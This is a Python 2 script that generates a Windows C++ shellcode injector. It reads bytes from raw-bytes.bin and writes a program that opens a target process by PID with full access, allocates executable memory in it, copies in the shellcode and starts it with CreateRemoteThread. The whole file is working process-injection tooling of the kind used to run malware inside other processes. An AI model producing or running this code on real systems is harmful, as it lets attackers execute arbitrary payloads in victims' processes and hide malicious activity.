make-injector-cpp.py

import os

current_dir = os.getcwd()
raw_bytes = os.path.join(current_dir, "raw-bytes.bin")

if os.path.isfile(raw_bytes):
  with open(raw_bytes, 'rb') as iFile:
    data = iFile.read()

  injector = """// This file is auto-generated by make-injector-cpp.py.

#include <windows.h>
#include <stdio.h>

#define BASE_10 10

unsigned char hexData[%d] = { %s };

int inject_dll(DWORD pid) {
  HANDLE proc;
  LPVOID addr_mem, addr_loadlibrary;
  HANDLE ret;
  BOOL success;

  printf("Attempting to inject shellcode.\\n");

  // Open the target process with all permissions.
  proc = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
  if (!proc) { printf("OpenProcess failed, error: %%d\\n", GetLastError()); return -1; }
  else printf("OpenProcess OK, handle: %%p.\\n", proc);

  // Allocate memory in process space for shellcode.
  addr_mem = (LPVOID)VirtualAllocEx(proc, 0, sizeof(hexData)+1, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  if (!addr_mem) { printf("VirtualAllocEx failed: %%d\\n", GetLastError()); return -1; }
  else printf("VirtualAllocEx OK, address = 0x%%p.\\n", addr_mem);

  // Write in the shellcode.
  success = WriteProcessMemory(proc, (LPVOID)addr_mem, hexData, sizeof(hexData), 0);
  if (!success) { printf("WriteProcessMemory failed: %%d\\n", GetLastError()); return -1; }
  else printf("WriteProcessMemory OK.\\n");

  // Create thread in target pointed at shellcode.
  ret = CreateRemoteThread(proc, 0, 0, (LPTHREAD_START_ROUTINE)addr_mem, 0, 0, 0);
  if (!ret) { printf("CreateRemoteThread failed: %%d\\n", GetLastError()); return -1; }
  else printf("CreateRemoteThread OK.\\n");

  success = CloseHandle(proc);
  if (!success) { printf("CloseHandle failed.\\n"); return -1; }

  return 0;
}

int main(int argc, char **argv) {
  const char syntax_str[] = "Syntax: injector.exe <target-pid>\\n";

  if (argc < 2) {
    printf(syntax_str);
    return -1;
  }

  // Convert argument to PID (long int).
  DWORD pid = strtol(argv[1], 0, BASE_10);
  if (pid == 0) {
    printf(syntax_str);
    return -1;
  }

  // Inject.
  int ret = inject_dll(pid);
  if (ret != 0) {
    printf("Injection failed.\\n");
    return -1;
  }

  printf("Done.\\n");
  return 0;
}
""" % (len(data), ', '.join([hex(ord(b)) for b in data]))

  with open("injector.cpp", 'wb') as oFile:
    oFile.write(injector)
else:
  print "[!] Unable to find raw-bytes.bin. Run make-raw-bytes.py first."